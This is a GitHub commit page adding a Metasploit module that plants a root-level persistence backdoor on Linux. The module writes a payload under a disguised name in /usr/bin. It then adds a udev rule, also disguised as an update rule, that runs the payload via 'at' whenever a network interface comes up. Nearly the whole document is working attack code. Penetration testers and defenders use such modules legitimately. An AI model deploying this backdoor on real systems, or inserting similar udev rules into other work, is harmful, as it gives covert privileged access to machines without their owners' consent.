Skip to content

Commit

Permalink
Add modules/exploits/linux/local/udev_persistence.rb
Browse files Browse the repository at this point in the history
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
  • Loading branch information
jvoisin and jheysel-r7 committed Oct 2, 2024
1 parent c7d1e34 commit 36ec9d6
Showing 1 changed file with 65 additions and 0 deletions.
65 changes: 65 additions & 0 deletions modules/exploits/linux/local/udev_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
]
)
)
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
end

def exploit
unless writable? File.dirname(datastore['BACKDOOR_PATH'])
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
end
if exists? datastore['BACKDOOR_PATH']
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
end

unless writable? File.dirname(datastore['PAYLOAD_PATH'])
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
end
if exists? datastore['PAYLOAD_PATH']
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
end

upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
print_status "#{datastore['PAYLOAD_PATH']} written"

write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
print_status "#{datastore['BACKDOOR_PATH']} written"
end
end

0 comments on commit 36ec9d6

Please sign in to comment.